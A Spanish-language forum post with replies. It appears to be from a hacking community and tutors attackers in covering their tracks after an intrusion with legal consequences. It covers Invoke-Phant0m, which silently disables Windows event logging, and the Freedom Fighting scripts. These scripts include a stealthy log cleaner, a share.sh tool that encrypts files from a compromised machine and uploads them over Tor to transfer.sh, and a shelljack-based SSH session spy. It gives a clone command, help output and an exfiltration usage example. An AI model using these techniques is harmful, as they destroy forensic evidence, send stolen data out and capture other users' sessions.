Sin dejar rastro - Invoke-Phant0m y Freedom Fighting scripts

Iniciado por HATI, Mayo 23, 2017, 06:24:19 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 23, 2017, 06:24:19 AM Ultima modificación: Mayo 26, 2017, 08:21:52 PM por HATI

Cuando se realiza un ataque informático que puede tener consecuencias legales o de otro tipo, uno de los puntos claves en los que se suele cometer un error, es en no limpiar bien nuestro rastro. En este post explicaré el funcionamiento de un conjunto de scripts que nos ayudarán a automatizar parte del proceso.

Como existen diversos entornos, utilizaremos Freedom Fighting, una suite de scripts, para sistemas Linux. Para Windows, usaremos Invoke-Phant0m, un script escrito en PowerShell.







Invoke-Phant0m:

Se trata de un script en PowerShell dirigido al servicio de Registro de Sucesos de Windows (svchost.exe) debido a que es el principal proceso del que se puede obtener información de un atacante en un sistema de este tipo.
El proceso svchost es indispensable en la ejecución de los procesos de servicios compartidos, donde varios servicios comparten procesos con el fin de reducir el uso de recursos del sistema. Esto puede suponer un problema complejo de seguridad al diseñar el sistema operativo.

Podemos obtener Invoke-Phant0m de su repositorio Github: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los procesos que lleva a cabo Invoke-Phant0m son los siguientes:

       
  • Detecta el proceso del servicio de registro de sucesos de Windows en el sistema operativo de destino.
  • Obtiene la lista de subprocesos e identifica los ID del subproceso del servicio de registro de sucesos de Windows.
  • Elimina todos los subprocesos sobre el servicio de registro de sucesos de Windows.

Es decir, si se ejecuta correctamente, el Servicio Registro de Sucesos de Windows dejará de funcionar, por lo que el sistema de destino no será capaz de recopilar ni enviar los registros, pero aparecerá en ejecución aunque no este activo porque no se ha detenido el proceso svchost.exe para el Servicio de Registro de Sucesos de Windows, pero si los subprocesos relacionados. Esta es la principal ventaja y el propósito de Phant0m's. El servicio se detiene, pero todo parece estar funcionando.


Para usarlo unicamente debemos ejecutar el script, tras importar el módulo.

Código: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Más info: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Video de uso:






Freedom Fighting:

Se trata de un set con diversas funciones que pueden ser necesarias en la explotación de un sistema cuando no se quiere dejar rastro. Consta de tres scripts de los que explicaremos su uso y funcionamiento:
Para descargarlo, clonamos su repositorio Github:

Código: bash
git clone https://github.com/JusticeRage/freedomfighting.git





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Este script se encarga de eliminar los logs incriminatorios de las carpetas:

       
  • /var/run/utmp, /var/log/wtmp, /var/log/btmp
  • /var/log/lastlog
  • /var/**/*.log
  • Cualquier carpeta indicada por el usuario
Las entradas se eliminan en función de una dirección IP y/o del nombre de host asociado. Una característica útil del script, es que permite que los registros continúen escribiéndose después de haber sido manipulados, eliminando así la sospecha de que cualquier fichero de log haya sido modificado. Todo el trabajo se lleva a cabo en una unidad tmpfs y los archivos creados se limpian con seguridad.

Con el comando /nojail.py --help obtenemos los parámetros que le podemos pasar. Como podeís observar, el uso es bastante sencillo.

Código: bash
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
                    [--verbose] [--check]
                    [log_files [log_files ...]]

   Stealthy log file cleaner.

   positional arguments:
     log_files             Specify any log files to clean in addition to
                           /var/**/*.log.

   optional arguments:
     -h, --help            show this help message and exit
     --user USER, -u USER  The username to remove from the connexion logs.
     --ip IP, -i IP        The IP address to remove from the logs.
     --hostname HOSTNAME   The hostname of the user to wipe. Defaults to the rDNS
                           of the IP.
     --verbose, -v         Print debug messages.
     --check, -c           If present, the user will be asked to confirm each
                           deletion from the logs.
     --daemonize, -d       Start in the background and delete logs when the
                           current session terminates. Implies --self-delete.
     --self-delete, -s     Automatically delete the script after its execution.



Por defecto, si no se proporcionan argumentos, el script intentará determinar la dirección IP basada en la variable de entorno SSH_CONNECTION. Cualquier entrada que coincida con el DNS inverso de ese IP también se eliminará.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

En ocasiones, se necesita subir un archivo de una máquina comprometida a un host o un servicio de terceros. Esto puede poner en peligro nuestro anonimato y además, pocos servicios permiten la subida de archivos desde la consola, o lo hacen de forma complicada. Para ello se ha creado este script, que se encarga de encriptar los archivos en AES-256-CBC simétrico y utilizar torify antes de subirlos.
Únicamente utiliza las librerias openssl y curl o wget.


Ejemplo de uso:
Código: bash
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!


Se pueden pasar argumentos adicionales que permiten controlar el número máximo de descargas permitido para el archivo (-m) y cuántos días No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lo mantendrá (-d). El valor predeterminado para ambas opciones es 1. Es recomendable no usar espacios en la key, ya que es posible que solo reconozca la primera palabra.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

El script utiliza el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para recaudar datos de cualquier sesion creada a traves de SSH. Funciona auditando conexiones exitosas en el fichero auth.log calcula el PID del proceso bash del usuario y deja el resto a shelljack.

Para usarlo solo tienes que lanzarlo en una terminal y esperar a que otros usuarios inicien sesion. Los datos de sus sesiones se guradarán en  /root/.local/sj.log.[user].[timestamp]







Espero que os sea útil. Un saludo, HATI  ;D


Jugar o perder

Preguntica, ¿Sabes si el chkwtmp de chkrootkit detecta la entrada tras el uso después de usar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta?

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta no lo he probado, pero estaría interesante hacerlo. Si saco un rato lo compruebo, si te animas y lo haces tu antes podrías dejar un comentario y ampliamos el post.


Jugar o perder


@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, no exactamente, creo que el comando clearev únicamente borra los registros, Invoke-Phant0m para el servicio que se encarga de recoger registros del sistema, dejando el proceso principal activo.


Jugar o perder